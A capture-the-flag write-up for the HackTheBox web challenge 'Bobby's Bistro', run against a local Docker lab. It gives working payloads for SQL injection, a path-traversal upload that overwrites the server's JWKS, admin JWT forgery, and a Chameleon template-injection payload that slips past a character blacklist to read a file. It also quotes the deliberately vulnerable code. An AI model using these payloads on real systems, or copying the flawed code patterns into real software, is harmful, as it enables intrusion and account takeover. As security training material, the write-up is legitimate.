Post

Bobby's Bistro – HackTheBox Writeup

Bobby's Bistro – HackTheBox Writeup

Summary

The challenge contains multiple independent vulnerabilities that must be chained together to achieve remote code execution.

Attack chain:

  1. SQL Injection leaks the administrator’s information.
  2. Path Traversal in file upload overwrites the server’s JWKS.
  3. Forge an administrator JWT using the attacker’s RSA key.
  4. Abuse a Chameleon SSTI to execute arbitrary Python and read the flag.

Lab URL: Bobby’s Bistro – HackTheBox

Environment

1
2
sudo docker build -t web-bobbys-bistro .
sudo docker run --rm -p 3000:3000 -it web-bobbys-bistro

Vulnerability 1 – SQL Injection

The /profile endpoint constructs an SQL query using string formatting.

1
2
3
4
5
6
7
token = request.form.get("token")

user_data = (
    db.session.query(User)
    .filter(text("token='{}'".format(token)))
    .all()
)

Even though the application uses SQLAlchemy (an ORM that usually protects against SQLi), the developer explicitly wrapped the query in text() and used Python’s .format() string interpolation. This breaks the ORM’s built-in parameterization and passes the raw user input straight to the SQLite database engine. As a result we can break out of the string quote (') to manipulate the query structure.

1
token=098f6bcd4621d373cade4e832627b4f6'+OR+'1'='1

Produces:

1
WHERE token='' OR '1'='1'  

which returns every row including the admin raw

Alt

1
2
3
user_id= dbb302e9-1cca-42cc-a616-98b5e219e8f2
username = bobby_7bbb3302a2a1ae0eac32
role= admin

Vulnerability 2 – Path Traversal

The application allows file uploads for chat attachments which is written directly to disk.

1
2
3
4
5
6
7
8
9
10
message = request.form.get("message")
file = request.files.get("attachment")
new_chat_message = ChatMessage(
    timestamp=str(datetime.now()),
    content=message,
    sender=username,
    attachments=UPLOADS_DIR + "/" + file.filename,
)
if file.filename:
    file.save(UPLOADS_DIR + "/" + file.filename)

The application servers its own JSON Web Key Set at.

1
2
3
4
5
6
7
8
$ curl http://localhost:3000/static/.well-known/jwks.json
{"keys": 
	[{"alg": "RS256", 
	"e": "AQAB", 
	"kid": "a5affc2f0519b33dae848a0973408ce5", 
	"kty": "RSA", 
	"n": "43JHfKNdaSsLnRn7rG0TiybOktPyeWuqn_Xy8UAq-yfuV72kRDUlmQEjVfCpB3uW7p5DfzDAgrrRTsgjd-2EW3ZjUl_ZtoX-oECBJuHxQ6FFK6qK5oXVp7sqOh2HqlpyM0XtYTh22Y9JHJ2cxB_WJKxvu8Blc_qkgQDVoYZobcEfFnK3rfUCHvWIt-NpHyibqYchbSYUFzl-IhhjElwMR9CFhQij7oDBvu7HbgRpTp7BCBwYOypRF_lkjJSgOHYwrAgKzbcgEy6vCKIGER4-PpHxFI_6O82RjMJDJs9orHf6GUE6nBqVGRi8yz-sSswL0xz7tnKylQCjHsNJGcwdvw", 
	"use": "sig"}]}     

By supplying

1
../static/.well-known/jwks.json

as the uploaded filename, the application overwrites its own JWK

First create a new RSA keypair:

1
2
3
4
$ openssl genpkey -algorithm RSA -out private_key.pem -pkeyopt rsa_keygen_bits:2048

$ openssl rsa -pubout -in private_key.pem -out public_key.pem

Second, convert the public key into jwk format using cyberchef

1
2
3
4
{
"kty":"RSA",
"n":"y03C-Z7EETYCvGhkGAvd_g6iK6dJWNmtW4p_SErn_imwOZv8eEvmBj6sdHWW5AhG_Vd7Sb6MnRn_36nfl1H8qOFvKAiA_5kOC23oX902C3B6MviDSk4VDemSQuNt3TrAAZ1YxYDHC4MnPYrWYkigBzzt2mxbH6cVpyl0rr9coWBUAXDh6OQJWNp3JoMZNpAaDk1RjCIoEwTNO_jHeNEZUMjd-ro_UAKTzAxMRPNkCVNtYMuLCHrE1eJqlqdjZoraay_2O_TYlGd8fgdUXDTyHwMKxvqAxw7-xwixJc_mhQEZo8-Jj1jAKOcWvPfomfY5yIeoNnC22To03K9ngKe9fQ",
"e":"AQAB"}

we still need to add alg, use, and kid (must match your key identifier ‘kid’ in your JWT) fields.

1
2
3
4
5
6
7
8
jwk = {
    "kty": "RSA",
    "alg": "RS256",
    "use": "sig",
    "kid": "e040afea17d8c18e56305c3afb4627f0",
    "n": "y03C-Z7EETYCvGhkGAvd_g6iK6dJWNmtW4p_SErn_imwOZv8eEvmBj6sdHWW5AhG_Vd7Sb6MnRn_36nfl1H8qOFvKAiA_5kOC23oX902C3B6MviDSk4VDemSQuNt3TrAAZ1YxYDHC4MnPYrWYkigBzzt2mxbH6cVpyl0rr9coWBUAXDh6OQJWNp3JoMZNpAaDk1RjCIoEwTNO_jHeNEZUMjd-ro_UAKTzAxMRPNkCVNtYMuLCHrE1eJqlqdjZoraay_2O_TYlGd8fgdUXDTyHwMKxvqAxw7-xwixJc_mhQEZo8-Jj1jAKOcWvPfomfY5yIeoNnC22To03K9ngKe9fQ",,
    "e": "AQAB"
}

Lastly upload the generated JSON over the original file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /api/chat-messages HTTP/1.1

------WebKitFormBoundaryWnyvfBuCgNQMzJgf
Content-Disposition: form-data; name="message"

test
------WebKitFormBoundaryWnyvfBuCgNQMzJgf
Content-Disposition: form-data; name="attachment"; filename="../static/.well-known/jwks.json"
Content-Type: application/octet-stream

{
  "keys": [
    {
      "kty": "RSA",
      "alg": "RS256",
      "use": "sig",
      "kid": "e040afea17d8c18e56305c3afb4627f0",
      "n": "y03C-Z7EETYCvGhkGAvd_g6iK6dJWNmtW4p_SErn_imwOZv8eEvmBj6sdHWW5AhG_Vd7Sb6MnRn_36nfl1H8qOFvKAiA_5kOC23oX902C3B6MviDSk4VDemSQuNt3TrAAZ1YxYDHC4MnPYrWYkigBzzt2mxbH6cVpyl0rr9coWBUAXDh6OQJWNp3JoMZNpAaDk1RjCIoEwTNO_jHeNEZUMjd-ro_UAKTzAxMRPNkCVNtYMuLCHrE1eJqlqdjZoraay_2O_TYlGd8fgdUXDTyHwMKxvqAxw7-xwixJc_mhQEZo8-Jj1jAKOcWvPfomfY5yIeoNnC22To03K9ngKe9fQ",
      "e": "AQAB"
    }
  ]
}
------WebKitFormBoundaryWnyvfBuCgNQMzJgf--

Vulnerability 3 – JWT Forgery

Now that we uploaded our public key over the original one, we can now create a JWT containing the administrator UUID extracted from SQLi.

1
2
3
user_id= dbb302e9-1cca-42cc-a616-98b5e219e8f2
username = bobby_7bbb3302a2a1ae0eac32
role= admin

Replace your payload with the admin’s user_id then sign it with your private key (public_key.pem). jwt.io

Alt

Paste the new auth_token into browser’s cookie and now the application will verify our session with our public key and grant us access as administrator

Alt

Vulnerability 4 – Server-Side Template Injection

In the /api/announcements endpoint, user-supplied content is compiled directly into a template engine:

1
2
3
4
5
6
content = markdown.markdown(request.form.get("announcement"))
if content:
    for i in '$#{}"_.':
        content = content.replace(i, "")
tpl = PageTemplate(content)
res = tpl.render()

Instead of treating user input as plain text, the application passes it directly to PageTemplate(), causing Chameleon to compile and execute the supplied content.

The developer attempted to mitigate this by removing several characters ($ # { } " _ .) before compilation. However, this blacklist only removes specific characters; it does not prevent Chameleon from parsing valid Template Attribute Language (TAL) instructions.

Understanding Chameleon and TAL

Chameleon is a Python template engine that uses Template Attribute Language (TAL) to embed logic directly inside HTML elements.

Chameleon extends ordinary HTML by introducing special attributes. For example,

1
<btal:replace="string:HelloWorld">Placeholder</b>

contains no scripting tags. Instead, the tal:replace attribute instructs Chameleon to replace the entire element with the evaluated expression. Rendering this template produces

1
HelloWorld

Because the application accepts arbitrary HTML and later compiles it using PageTemplate(), an attacker can inject their own TAL attributes and have them executed by the template engine.

Exploring the Template Environment

With template execution confirmed, the next step was to identify which objects were available during rendering. Executing

1
<btal:replace="python:dir()"></b>

revealed several useful objects:

1
2
3
4
5
6
7
8
template
econtext
rcontext
get
getname
translate
decode
...

The evaluation context itself could also be inspected.

1
<btal:replace="python:repr(econtext)"></b>

Revealing Chameleon’s internal Scope object. More importantly,

1
<btal:replace="python:globals()"></b>

showed that Python built-ins remained accessible inside the execution environment, including

1
2
3
4
5
open
getattr
eval
exec
chr

Constructing the Payload

The blacklist prevented straightforward payloads such as

1
open("/flag.txt").read()

because quotation marks and attribute access (.) were removed. Instead of relying on literal strings, both the filename and the method name were constructed dynamically using chr(). The filename

1
2
3
4
5
6
- the file name:
/flag.txt

became:
chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)

while the method name

1
2
3
4
read

became:
chr(114)+chr(101)+chr(97)+chr(100)

Finally, getattr() was used to resolve the method without requiring dot notation.

1
2
3
4
5
6
7
8
9
10
11
12
POST /api/announcements

------WebKitFormBoundaryZ80BZxFqo0rweOEK
Content-Disposition: form-data; name="title"

flag
------WebKitFormBoundaryZ80BZxFqo0rweOEK
Content-Disposition: form-data; name="announcement"

<b tal:replace="python:getattr(open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)),chr(114)+chr(101)+chr(97)+chr(100))()"></b>
------WebKitFormBoundaryZ80BZxFqo0rweOEK--

This caused Chameleon to evaluate the Python code during template rendering, successfully reading the contents of /flag.txt.

Note that I didn’t convert the single quote to chr()with the filename (’\flag.txt’), that’s because the chr()function returns the result as a string type.

This post is licensed under CC BY 4.0 by the author.